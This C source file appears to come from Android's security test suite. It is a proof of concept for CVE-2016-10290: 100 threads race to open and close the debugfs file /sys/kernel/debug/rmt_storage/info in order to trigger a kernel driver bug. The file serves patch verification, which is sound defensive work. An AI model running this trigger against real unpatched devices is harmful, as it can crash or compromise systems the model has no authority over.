hostsidetests/security/securityPatch/CVE-2016-10290/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <asm/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

void ThreadFun(void);
void trigger(void);

const char *infopath = "/sys/kernel/debug/rmt_storage/info";

void ThreadFun(void) {
  int fd = -1;
  while (1) {
    fd = open(infopath, O_RDWR);
    if (fd > 0) {
      close(fd);
      fd = -1;
    }
  }
}

#define TC 100
void trigger(void) {
  int i, ret;
  pthread_t tids[TC];
  for (i = 0; i < TC; i++) {
    ret = pthread_create((pthread_t *)&tids[i], NULL, (void *)ThreadFun, NULL);
  }

  for (i = 0; i < TC; i++) pthread_join(tids[i], NULL);
}

int main(int argc, char *argv[]) {
  trigger();
  return 0;
}